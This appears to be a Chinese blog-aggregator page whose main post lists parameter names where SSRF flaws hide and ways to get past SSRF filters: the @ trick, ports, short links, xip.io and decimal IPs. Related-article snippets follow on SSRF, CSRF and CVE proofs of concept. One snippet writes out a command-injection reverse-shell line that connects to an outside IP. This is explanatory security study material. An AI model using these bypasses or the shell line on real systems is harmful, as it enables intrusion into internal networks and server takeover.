qq_27446553
qq_27446553

SSRF的一些总结

可以从以下URL关键字中寻找SSRF漏洞：
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
存在过滤的时候可以试试以下姿势:
1、@
http://[email protected]
2、添加端口号
http://127.0.0.1:8080
3、短地址
http://dwz.cn/11SMa
4、可以指向任意ip的域名：xip.io
10.0.0.1.xip.io  =  10.0.0.1
www.10.0.0.1.xip.io  =  10.0.0.1
mysite.10.0.0.1.xip.io  =  10.0.0.1
foo.bar.10.0.0.1.xip.io  =  10.0.0.1
5、ip地址转换成进制来访问
115.239.210.26 ＝ 16373751032

小伙伴们如果还有别的姿势可以分享出来撒~

你可能感兴趣的:(SSRF)

  • CSRF 与 SSRF 的关联与区别 心 一 csrf前端
    CSRF与SSRF的关联与区别区别特性CSRF(跨站请求伪造)SSRF(服务器端请求伪造)攻击方向客户端→目标网站服务器→内部/外部资源攻击目标利用用户身份执行非预期操作利用服务器访问内部资源或发起对外请求受害者已认证的用户存在漏洞的服务器利用条件用户必须已登录目标网站需要存在可控制的服务器端请求功能常见场景修改密码、转账等需要身份验证的操作访问内部服务、元数据、文件读取、端口扫描等防御方法CSR
  • Apache Kafka Connect接口存在任意文件读取漏洞与SSRF漏洞CVE-2025-27817 sublime88 漏洞复现apachekafka分布式安全web安全网络sql
    @[toc]免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。1.ApacheKafka简介微信公众号搜索：南风漏洞复现文库该文章南风漏洞复现文库公众号首发ApacheKafka是一个分布式的流式数据平台，可以用于构建实时的数据管道和流式应用程序
  • CVE-2025-27817 POC 章鱼哥喜欢吹笛子 章鱼哥漏洞复现web安全网络安全
    ApacheKafkaClients任意文件读取与SSRF漏洞漏洞成因该漏洞源于ApacheKafkaClient在配置SASL/OAUTHBEARER连接时，对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数，利用该缺陷实现任意文件读取或发起SSRF请
  • Java安全防线 第一篇：SQL注入 - 你的数据库正在“裸奔“吗？ 全息架构师 安全数据库java
    Java安全防线：从漏洞原理到防御实战文章规划SQL注入：你的数据库正在"裸奔"吗？XSS攻击：当你的网站变成黑客的"提线木偶"CSRF漏洞：用户为何在"梦游"中完成交易？文件上传漏洞：黑客的"特洛伊木马"如何潜入XXE漏洞：XML解析如何成为系统后门反序列化漏洞：Java对象的"变身术"攻击SSRF漏洞：内网如何被"隔山打牛"RCE漏洞：系统命令执行的"死亡调用"JNDI注入：LDAP查询如何成
  • WEB安全--CSRF&SSRF Neur0toxin 内网渗透web安全csrfssrf
    一、CSRF1.1、原理跨站点请求伪造---攻击者诱导用户在已认证的web应用中执行非法操作，通过构造虚假的网页并在该网页中植入危险脚本，受害者在不知情的情况下进入该网页，网页就会盗用受害者浏览器中的session或cookie执行危险命令，可以你的名义发送邮件，发消息，盗用你的账号，甚至于购买商品，虚拟货币转账等。1.2、防御手段1、验证HTTPReferer字段（可绕过）2、请求地址中添加to
  • ssrf漏洞利用+CTF实例 疯狂的小羊肖恩 网络信息安全基础知识CTF-wpredis数据库缓存
    引发ssrf漏洞的几个函数file_get_contents()把整个文件读入一个字符串中，获取本地或者远程文件内容fsockopen()获得套接字信息curl_exec()执行一个curl会话，由curl_init()初始化一个新的会话，返回一个curl句柄fopen()打开文件或者URLreadfile()输出一个文件，读入一个文件并写入到输出缓冲ssrf用到的协议file协议：获取敏感文件信
  • 【漏洞挖掘】——33、SSRF攻防对抗(中) FLy_鹏程万里 【WEB渗透】安全web安全SSRF渗透测试信息安全网络安全
    重定向绕过检查场景介绍有时候通过利用开放重定向漏洞可以规避任何类型的基于过滤器的防御，在前面的SSRF示例中假设用户提交的URL经过严格验证以防止恶意利用SSRF行为，但是允许其URL的应用程序包含一个开放重定向漏洞，如果用于后端HTTP请求的API支持重定向，那么您可以构造一个满足过滤器的URL并构造一个到所需后端目标的重定向请求，例如:应用程序包含一个开放重定向漏洞，其中以下URL/produ
  • Apache Solr stream.url SSRF与任意文件读取漏洞(附pythonEXP脚本) MD@@nr丫卡uer 渗透测试
    漏洞背景ApacheSolr是一个开源的搜索服务，使用Java语言开发。ApacheSolr的某些功能存在过滤不严格，在ApacheSolr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或文件读取漏洞。目前互联网已公开漏洞poc，建议相关用户及时采取措施阻止攻击。fofa查询app="APACHE-Solr"影响范围ApacheSolr所有版本漏洞复现首先访问，获取实
  • ffmpeg ，结合 SSRF任意文件读取漏洞 德古拉的杂货铺 渗透测试篇ffmpeg安全漏洞视频处理
    ffmpeg，结合SSRF任意文件读取漏洞前言一、ffmpeg是什么？FFmpeg背景知识简介HLS(HTTPLiveStreaming)二、使用步骤CentOS7下的安装三、ffmpeg任意文件读取漏洞复现环境搭建漏洞利用修复建议前言初衷：最近空闲，想通过vulhub靶场进行学习，猛的看到ffmpeg，很熟悉。在2018年开发的堡垒机时，曾经用过它进行视频文件的处理。于是决定从它开始练习写博客。
  • SSRF6 利用ssrf漏洞结合RCE远程命令执行漏洞打组合拳 浮江雾 ssrfssrf进阶bp安全getshellRCE漏洞
    一.RCE远程命令执行漏洞的介绍可直接在目标服务器上执行任意命令---接管服务器该漏洞主要有命令执行函数引起：例如：system:()函数system("ping用户提供的参数")以下为以下执行符号：1.；指顺序执行2.&后台执行3.&&与条件执行4.|管道符执行5.||或条件执行例如我们以”;“举例：baidu.com;bash-i>&/dev/tcp/192.168.112.128/44440
  • 沙箱（Sandbox） fydw_715 Difypython
    在现代软件开发和运行环境中，安全性和稳定性是首要关注的问题。随着云计算、容器化、微服务等技术的普及，如何在共享的资源环境中安全地执行代码，成为一个重要的挑战。沙箱化（Sandboxing）技术应运而生，它通过隔离代码执行环境，防止潜在的安全风险和资源滥用。本文将深入探讨沙箱化的概念、工作原理、目的和优势，以及其在实际应用中的实现，特别是结合Docker容器和SSRF代理服务器的实践。一、什么是沙箱
  • 2025年渗透测试面试题总结-小鹏[实习]安全工程师（题目+回答） 独行soc 2025年渗透测试面试指南安全区块链linux职场和发展面试渗透测试网络安全
    安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录小鹏[实习]安全工程师1.自我介绍2.有没有挖过src？3.平时web渗透怎么学的，有实战吗？有过成功发现漏洞的经历吗？4.做web渗透时接触过哪些工具5.xxe漏洞是什么？ssrf是什么？6.ctf的时候负责什么方向的题7.为什么要搞信息安全，对安全这一块有多大的兴趣，
  • shiro、struts2、weblogic特征流量分析 桑晒. struts网络安全web安全
    文章目录一、Shiro漏洞流量特征1.**身份验证阶段的特征**2.**攻击阶段的特征**3.**检测与防御建议**二、Struts2漏洞流量特征1.**请求特征**2.**响应特征**3.**典型案例**4.**防御建议**三、WebLogic漏洞流量特征1.**XMLDecoder反序列化（CVE-2017-10271）**2.**SSRF漏洞（CVE-2014-4210）**3.**T3协议
  • 零基础在实践中学习网络安全-皮卡丘靶场（第十六期-SSRF模块） 恰薯条的屑海鸥 零基础学网安-皮卡丘靶场学习web安全安全网络安全学习渗透测试数据库
    最后一期了，感谢大家一直以来的关注，如果您对本系列文章内容有问题或者有更好的方法，请在评论区发送。介绍其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制      导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据      数据流:攻击者----->服务器---->目标地址      根据后台使用的函数的不同,对
  • dify1.3.1应用服务与数据服务分离，附件及插件包迁移至minio，实现离线部署，保证插件正常运行 Time_1023 pythondocker
    1、应用与数据服务拆分将dify拆分为数据存储、服务端两部分。dify数据存储包含dify业务库postgres、知识库向量数据库weaviate、缓存redis、文件存储minio四个服务。dify服务端包含api、worker、web、sandbox、plugin_daemon、ssrf_proxy、nginx七个服务，其中api与worker使用同一镜像。数据存储与服务端可分不同服务器部署，
  • 第39天：WEB攻防-通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用 My Year 2019 csrf网络安全
    目录CSRF：跨站请求伪造定义：举例条件CSRF的防护SSRF服务器端请求伪造举例漏洞利用攻击：端口扫描，指纹识别，漏洞利用，内网探针（端口字典爆破）--通过远程请求的方式，访问内网其他服务器。CSRF：跨站请求伪造定义：跨站请求伪造，通常缩写为CSRF或者XSRF，举个生活中的例子：就是某个人点了个奇怪的链接，自己什么也没输，但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以
  • 【网络安全 | CTF】攻防世界 very_easy_sql 解题详析（gopher协议+ssrf漏洞sql注入+盲注脚本） 秋说 CTF新手入门实战教程web安全sqlgopher协议CTF
    姿势登录处直接注入会提示youarenotaninneruser,sowecannotletyouhaveidentify~查看源代码发现use.php，访问后猜测该题为基于ssrf漏洞的sql注入：先在登录处抓包判断注入参数：不难判断注入点为cookie因此我们可构造含有gopher协议的盲注脚本，通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击
  • 2025年渗透测试面试题总结-渗透岗位全职工作面试（附回答）（题目+回答） 独行soc 2025年渗透测试面试指南面试职场和发展linux运维服务器安全网络
    网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录一、通用基础类问题1.自我介绍2.职业动机与规划3.加班/出差接受度二、安全技术类问题1.漏洞原理（如SSRF、XXE、反序列化）2.代理原理（正向/反向代理）3.安全防护措施（如CSRF防御）三、渗透测试类问题1.渗透测试流程2.绕过手法（如WAF绕过、文件上传绕过
  • 什么是SSRF 藤原千花的败北 网络安全web漏洞网络安全
    文章目录1.SSRF漏洞1.1业务场景1.2代码demo1.3漏洞原理2.URISchema2.1示例对比2.2SSRF中常用URIschema3.漏洞利用（内网探测流程）3.1file://（探测内网存活主机）3.2dict://（探测主机开放端口/服务）3.3http://（目录扫描）3.4gopher://4.修复防御5.总结参考1.SSRF漏洞1.1业务场景在一些业务场景下，WebApp允
  • 【[De1CTF 2019]SSRF Me1】 白初& CTF-web-wppythonflaskweb安全
    目录代码审计整体代码逐块审计'/De1ta'路由waf函数exec()scan函数self.checkSign()getSign()解题过程代码审计整体代码#!/usr/bin/envpython#encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsy
  • 从0到1——CTFer成长之路（三） youngerll 从0到1——CTFer成长之路安全hadoop信息安全shell
    从0到1——CTFer成长之路（三）SSRF漏洞SSRFTraining命令执行漏洞死亡ping命令XSS的魔力XSS闯关web文件上传漏洞文件上传第二章web进阶SSRF漏洞SSRFTraining命令执行漏洞死亡ping命令XSS的魔力XSS闯关web文件上传漏洞文件上传
  • 2025年渗透测试面试题总结-拷打题库10（题目+回答） 独行soc 2025年渗透测试面试指南面试职场和发展linux运维服务器网络渗透测试
    网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录2025年渗透测试面试题总结-拷打题库101.CSRF成因及防御措施|非Token防御2.XSSWorm原理3.Cookie的P3P性质4.CSRF危害5.SQL注入类型6.参数化查询防注入原理7.Redis未授权访问漏洞利用8.SSRF漏洞|Java与PHP差异9.
  • SSRF漏洞学习 jonhswei 学习安全
    一、SSRF漏洞1.xml回顾2.SSRF的定义1）例题#curl函数使用示例代码示例:ch=curlinit();curlsetopt(ch=curl_init();curl_setopt(ch=curlinit();curlsetopt(ch,CURLOPT_URL,url);curlexec(url);curl_exec(url);curlexec(ch);curl_close(c
  • SSRF漏洞技术解析与实战防御指南 Alfadi联盟 萧瑶 网络安全ssrf网络安全
    一、SSRF漏洞简介服务端请求伪造（Server-SideRequestForgery,SSRF）是一种攻击者通过操控服务端发起非预期网络请求的安全漏洞。攻击者利用目标服务器的权限，构造恶意请求访问内网资源、本地系统文件或第三方服务，可能导致敏感数据泄露、内网渗透甚至远程代码执行。核心危害1.内网探测与端口扫描：通过SSRF绕过网络边界，探测内网服务（如Redis、数据库）。2.敏感数据泄露：读取
  • 利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP A5rZ 网络安全
    本文章附带TP(ThinkingProcess)!#!/usr/bin/envpython3#导入所需的库importflask#Flaskweb框架importsqlite3#SQLite数据库操作importrequests#HTTP请求库importstring#字符串处理importjson#JSON处理app=flask.Flask(__name__)#创建Flask应用实例blackl
  • 2025年渗透测试面试题总结- 某汽车厂商-安全工程师扩展（题目+回答） 独行soc 2025年渗透测试面试指南汽车安全面试数据库职场和发展红蓝攻防python
    网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录某汽车厂商-安全工程师扩展一、XXE漏洞与SSRF的深度对比1.XXE（XMLExternalEntity）漏洞2.SSRF（Server-SideRequestForgery）二、代码审计流程的六阶段模型1.环境构建2.静态分析3.动态测试4.漏洞验证5.报告输出三
  • 2025年渗透测试面试题总结-某四字大厂面试复盘扩展 二面 （题目+回答） 独行soc 2025年渗透测试面试指南面试职场和发展安全网络红蓝攻防djangopython
    网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录某四字大厂面试复盘二面一、文件上传绕过WAF的15种深度技巧二、SSRF利用与WAF绕过的8种高阶手法三、MSSQL无XP_CMDSHELL的6种拿Shell方法四、无回显RCE的5种数据外带技术五、数据库写Shell的跨平台方法六、大型日志分析的7个关键步骤七、Re
  • CSRF vs SSRF详解 豪门土狗 csrf前端网络安全数据库sql笔记
    一、CSRF（跨站请求伪造）攻击全解攻击原理示意图受害者浏览器├──已登录银行网站（Cookie存活）└──访问恶意网站执行：核心技术要点信任滥用机制：利用浏览器自动携带Cookie的特性，伪造已认证用户的HTTP请求（GET/POST均可）经典攻击链：诱导点击→携带身份Cookie→执行敏感操作绕过同源策略的技巧：document.forms[0].submit();高级攻击变种：JSONCSR
  • 2025年渗透测试面试题总结-某 携程旅游-基础安全工程师（题目+回答） 独行soc 2025年渗透测试面试指南安全面试职场和发展红蓝攻防数据库pythonjava
    网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录携程旅游-基础安全工程师反序列化原理核心原理扩展分析SQL注入本质核心原理扩展分析SQL注入写马流程核心步骤扩展分析Outfile与Dumpfile的区别宽字节截断原理核心逻辑扩展分析SSRF的利用和防御利用方式防御方案SSRF无回显如何利用Shiro利用失败分析文件
  • SSRF 攻击与防御：从原理到落地实践 花千树-010 架构设计网络安全运维容器网络安全docker
    1.什么是SSRF？SSRF（Server-SideRequestForgery）是一种常见的Web安全漏洞。当服务器提供了某种对外请求的功能，如“URL参数直接转发请求”，攻击者就可以通过精心构造的URL，让服务器“自己”去访问特定的地址，从而达到以下目的：扫描内网：探测企业内网中未暴露在公网的资产，如数据库、私有API等。获取云元数据：例如访问http://169.254.169.254/la
  • Spring4.1新特性——综述 jinnianshilongnian spring 4.1
    目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
  • Schema与数据类型优化 annan211 数据结构mysql
    目前商城的数据库设计真是一塌糊涂，表堆叠让人不忍直视，无脑的架构师，说了也不听。 在数据库设计之初，就应该仔细揣摩可能会有哪些查询，有没有更复杂的查询，而不是仅仅突出 很表面的业务需求，这样做会让你的数据库性能成倍提高，当然，丑陋的架构师是不会这样去考虑问题的。 选择优化的数据类型 1 更小的通常更好 更小的数据类型通常更快，因为他们占用更少的磁盘、内存和cpu缓存，
  • 第一节 HTML概要学习 chenke htmlWebcss
    第一节 HTML概要学习 1. 什么是HTML HTML是英文Hyper Text Mark-up Language(超文本标记语言)的缩写，它规定了自己的语法规则，用来表示比“文本”更丰富的意义，比如图片，表格，链接等。浏览器（IE,FireFox等）软件知道HTML语言的语法，可以用来查看HTML文档。目前互联网上的绝大部分网页都是使用HTML编写的。 打开记事本 输入一下内
  • MyEclipse里部分习惯的更改 Array_06 eclipse
    继续补充中---------------------- 1.更改自己合适快捷键windows-->prefences-->java-->editor-->Content Assist-->      Activation triggers for java的右侧“.”就可以改变常用的快捷键 选中 Text
  • 近一个月的面试总结 cugfy 面试
    本文是在学习中的总结，欢迎转载但请注明出处：http://blog.csdn.net/pistolove/article/details/46753275 前言       打算换个工作，近一个月面试了不少的公司，下面将一些面试经验和思考分享给大家。另外校招也快要开始了，为在校的学生提供一些经验供参考，希望都能找到满意的工作。 
  • HTML5一个小迷宫游戏 357029540 html5
         通过《HTML5游戏开发》摘抄了一个小迷宫游戏，感觉还不错，可以画画，写字，把摘抄的代码放上来分享下，喜欢的同学可以拿来玩玩！ <html> <head> <title>创建运行迷宫</title> <script type="text/javascript"
  • 10步教你上传githib数据 张亚雄 git
    官方的教学还有其他博客里教的都是给懂的人说得，对已我们这样对我大菜鸟只能这么来锻炼，下面先不玩什么深奥的，先暂时用着10步干净利索。等玩顺溜了再用其他的方法。 操作过程（查看本目录下有哪些文件NO.1）ls （跳转到子目录NO.2）cd+空格+目录 （继续NO.3）ls （匹配到子目录NO.4）cd+ 目录首写字母+tab键+（首写字母“直到你所用文件根就不再按TAB键了”） （查看文件
  • MongoDB常用操作命令大全 adminjun mongodb操作命令
    成功启动MongoDB后，再打开一个命令行窗口输入mongo，就可以进行数据库的一些操作。输入help可以看到基本操作命令，只是MongoDB没有创建数据库的命令，但有类似的命令 如：如果你想创建一个“myTest”的数据库，先运行use myTest命令，之后就做一些操作（如：db.createCollection('user')）,这样就可以创建一个名叫“myTest”的数据库。 一
  • bat调用jar包并传入多个参数 aijuans
    下面的主程序是通过eclipse写的： 1.在Main函数接收bat文件传递的参数（String[] args）  如：   String ip =args[0];          String user=args[1];       &nbs
  • Java中对类的主动引用和被动引用 ayaoxinchao java主动引用对类的引用被动引用类初始化
      在Java代码中，有些类看上去初始化了，但其实没有。例如定义一定长度某一类型的数组，看上去数组中所有的元素已经被初始化，实际上一个都没有。对于类的初始化，虚拟机规范严格规定了只有对该类进行主动引用时，才会触发。而除此之外的所有引用方式称之为对类的被动引用，不会触发类的初始化。虚拟机规范严格地规定了有且仅有四种情况是对类的主动引用，即必须立即对类进行初始化。四种情况如下：1.遇到ne
  • 导出数据库 提示 outfile disabled BigBird2012 mysql
    在windows控制台下，登陆mysql，备份数据库：   mysql>mysqldump -u root -p test test > D:\test.sql 使用命令 mysqldump 格式如下： mysqldump -u root -p *** DBNAME > E:\\test.sql。 注意：执行该命令的时候不要进入mysql的控制台再使用，这样会报
  • Javascript 中的 && 和 || bijian1013 JavaScript&&||
            准备两个对象用于下面的讨论 var alice = { name: "alice", toString: function () { return this.name; } } var smith = { name: "smith",
  • [Zookeeper学习笔记之四]Zookeeper Client Library会话重建 bit1129 zookeeper
    为了说明问题，先来看个简单的示例代码：   package com.tom.zookeeper.book; import com.tom.Host; import org.apache.zookeeper.WatchedEvent; import org.apache.zookeeper.ZooKeeper; import org.apache.zookeeper.Wat
  • 【Scala十一】Scala核心五：case模式匹配 bit1129 scala
    package spark.examples.scala.grammars.caseclasses object CaseClass_Test00 { def simpleMatch(arg: Any) = arg match { case v: Int => "This is an Int" case v: (Int, String)
  • 运维的一些面试题 yuxianhua linux
    1、Linux挂载Winodws共享文件夹   mount -t cifs //1.1.1.254/ok /var/tmp/share/ -o username=administrator,password=yourpass 或 mount -t cifs -o username=xxx,password=xxxx //1.1.1.1/a /win    
  • Java lang包-Boolean BrokenDreams boolean
             Boolean类是Java中基本类型boolean的包装类。这个类比较简单，直接看源代码吧。 public final class Boolean implements java.io.Serializable,
  • 读《研磨设计模式》-代码笔记-命令模式-Command bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.Collection; import java.util.List; /** * GOF 在《设计模式》一书中阐述命令模式的意图：“将一个请求封装
  • matlab下GPU编程笔记 cherishLC matlab
    不多说，直接上代码 gpuDevice % 查看系统中的gpu,,其中的DeviceSupported会给出matlab支持的GPU个数。 g=gpuDevice(1); %会清空 GPU 1中的所有数据,,将GPU1 设为当前GPU reset(g) %也可以清空GPU中数据。 a=1; a=gpuArray(a); %将a从CPU移到GPU中 onGP
  • SVN安装过程 crabdave SVN
    SVN安装过程   subversion-1.6.12   ./configure --prefix=/usr/local/subversion --with-apxs=/usr/local/apache2/bin/apxs --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr --with-openssl=/
  • sql　行列转换 daizj sql行列转换行转列列转行
    行转列的思想是通过case when 来实现 列转行的思想是通过union all 来实现 下面具体例子： 假设有张学生成绩表(tb)如下: Name Subject Result 张三 语文　　74 张三 数学　　83 张三 物理　　93 李四 语文　　74 李四 数学　　84 李四 物理　　94 */ /* 想变成 姓名   &
  • MySQL--主从配置 dcj3sjt126com mysql
    linux下的mysql主从配置： 说明：由于MySQL不同版本之间的(二进制日志)binlog格式可能会不一样，因此最好的搭配组合是Master的MySQL版本和Slave的版本相同或者更低， Master的版本肯定不能高于Slave版本。（版本向下兼容） mysql1  : 192.168.100.1    //master mysq
  • 关于yii 数据库添加新字段之后model类的修改 dcj3sjt126com Model
    rules: array('新字段','safe','on'=>'search') 1、array('新字段', 'safe')//这个如果是要用户输入的话，要加一下， 2、array('新字段', 'numerical'),//如果是数字的话 3、array('新字段', 'length', 'max'=>100),//如果是文本 1、2、3适当的最少要加一条，新字段才会被
  • sublime text3 中文乱码解决 dyy_gusi Sublime Text
    sublime text3中文乱码解决 原因：缺少转换为UTF-8的插件 目的：安装ConvertToUTF8插件包 第一步：安装能自动安装插件的插件，百度“Codecs33”，然后按照步骤可以得到以下一段代码： import urllib.request,os,hashlib; h = 'eb2297e1a458f27d836c04bb0cbaf282' + 'd0e7a30980927
  • 概念了解：CGI，FastCGI，PHP-CGI与PHP-FPM geeksun PHP
    CGI CGI全称是“公共网关接口”(Common Gateway Interface)，HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具，其程序须运行在网络服务器上。 CGI可以用任何一种语言编写，只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。 FastCGI FastCGI像是一个常驻(long-live)型的CGI，它可以一直执行着，只要激活后，不
  • Git push 报错 "error: failed to push some refs to " 解决 hongtoushizi git
    Git push 报错 "error: failed to push some refs to " . 此问题出现的原因是：由于远程仓库中代码版本与本地不一致冲突导致的。 由于我在第一次git pull --rebase 代码后，准备push的时候，有别人往线上又提交了代码。所以出现此问题。 解决方案： 1： git pull    2：
  • 第四章 Lua模块开发 jinnianshilongnian nginxlua
    在实际开发中，不可能把所有代码写到一个大而全的lua文件中，需要进行分模块开发；而且模块化是高性能Lua应用的关键。使用require第一次导入模块后，所有Nginx 进程全局共享模块的数据和代码，每个Worker进程需要时会得到此模块的一个副本（Copy-On-Write），即模块可以认为是每Worker进程共享而不是每Nginx Server共享；另外注意之前我们使用init_by_lua中初
  • java.lang.reflect.Proxy liyonghui160com
      1.简介   Proxy 提供用于创建动态代理类和实例的静态方法 （1）动态代理类的属性 代理类是公共的、最终的，而不是抽象的 未指定代理类的非限定名称。但是，以字符串 "$Proxy" 开头的类名空间应该为代理类保留 代理类扩展 java.lang.reflect.Proxy 代理类会按同一顺序准确地实现其创建时指定的接口
  • Java中getResourceAsStream的用法 pda158 java
    1.Java中的getResourceAsStream有以下几种： 1. Class.getResourceAsStream(String path) ： path 不以’/'开头时默认是从此类所在的包下取资源，以’/'开头则是从ClassPath根下获取。其只是通过path构造一个绝对路径，最终还是由ClassLoader获取资源。 　　2. Class.getClassLoader.get
  • spring 包官方下载地址（非maven） sinnk spring
    SPRING官方网站改版后，建议都是通过 Maven和Gradle下载，对不使用Maven和Gradle开发项目的，下载就非常麻烦，下给出Spring Framework jar官方直接下载路径:   http://repo.springsource.org/libs-release-local/org/springframework/spring/   s
  • Oracle学习笔记(7) 开发PLSQL子程序和包 vipbooks oraclesql编程
        哈哈，清明节放假回去了一下，真是太好了，回家的感觉真好啊！现在又开始出差之旅了，又好久没有来了，今天继续Oracle的学习！      这是第七章的学习笔记，学习完第六章的动态SQL之后，开始要学习子程序和包的使用了……，希望大家能多给俺一些支持啊！     编程时使用的工具是PLSQL
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他